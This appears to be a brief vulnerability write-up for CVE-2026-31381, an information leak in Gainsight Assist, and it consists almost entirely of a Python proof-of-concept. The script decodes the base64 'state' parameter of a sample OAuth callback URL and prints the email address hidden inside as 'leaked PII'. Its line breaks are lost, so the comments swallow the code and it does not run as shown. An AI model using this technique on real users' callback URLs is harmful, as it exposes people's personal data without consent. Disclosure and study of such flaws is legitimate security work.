CVE-2026-31381 Gainsight Assist 信息泄露漏洞

import base64 import urllib.parse # Simulated vulnerable OAuth callback URL # The 'state' parameter contains the base64 encoded email (PII) target_url = "https://example.com/oauth/callback?state=eyJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20ifQ%3D%3D" # Parse the URL to extract the state parameter parsed_url = urllib.parse.urlparse(target_url) params = urllib.parse.parse_qs(parsed_url.query) encoded_state = params.get('state', [None])[0] if encoded_state: try: # Decode URL encoding (e.g., %3D -> =) url_decoded_state = urllib.parse.unquote(encoded_state) # Decode Base64 to extract the PII decoded_bytes = base64.b64decode(url_decoded_state) decoded_string = decoded_bytes.decode('utf-8') print(f"[+] Leaked PII found: {decoded_string}") except Exception as e: print(f"[-] Error decoding state: {e}") else: print("[-] No state parameter found in URL.")